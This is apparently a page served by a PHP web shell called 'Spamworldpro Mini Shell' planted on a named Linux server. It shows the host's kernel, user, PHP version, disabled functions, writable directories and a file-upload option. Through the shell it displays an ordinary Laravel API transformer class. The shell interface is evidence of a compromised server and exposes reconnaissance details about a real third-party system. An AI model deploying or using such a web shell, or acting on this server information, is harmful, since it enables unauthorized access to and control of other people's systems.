Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ledger.corals.io/Corals/core/Foundation/Transformers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ledger.corals.io/Corals/core/Foundation/Transformers/APIBaseTransformer.php
<?php

namespace Corals\Foundation\Transformers;

use League\Fractal\TransformerAbstract;

class APIBaseTransformer extends TransformerAbstract
{
    protected $editModeEnabled = false;

    public function __construct($extras = [])
    {
        $this->editModeEnabled = data_get($extras, 'edit') == 1;
    }

    protected function isInEditMode()
    {
        return $this->editModeEnabled;
    }

    /**
     * @param array $transformedArray
     * @param null $model
     * @param array $extra
     * @return array
     */
    public function transformResponse(array $transformedArray, $model = null, $extra = [])
    {
        $requestOnly = request()->get('select');

        if (!empty($requestOnly)) {
            $onlyColumns = explode(',', $requestOnly);

            $transformedArray = array_filter($transformedArray, function ($key) use ($onlyColumns) {
                return in_array($key, $onlyColumns);
            }, ARRAY_FILTER_USE_KEY);
        }

        if (!$this->isInEditMode()) {
            $transformedArray = array_map(function ($value) {
                return $value ?? '-';
            }, $transformedArray);
        }

        return array_merge($this->actionPermission($model), $transformedArray);
    }

    /**
     * @param $model
     * @return array
     */
    protected function actionPermission($model)
    {
        if (!$model || !user()) {
            return [];
        }

        return $model->getActions(true);
    }
}

Spamworldpro Mini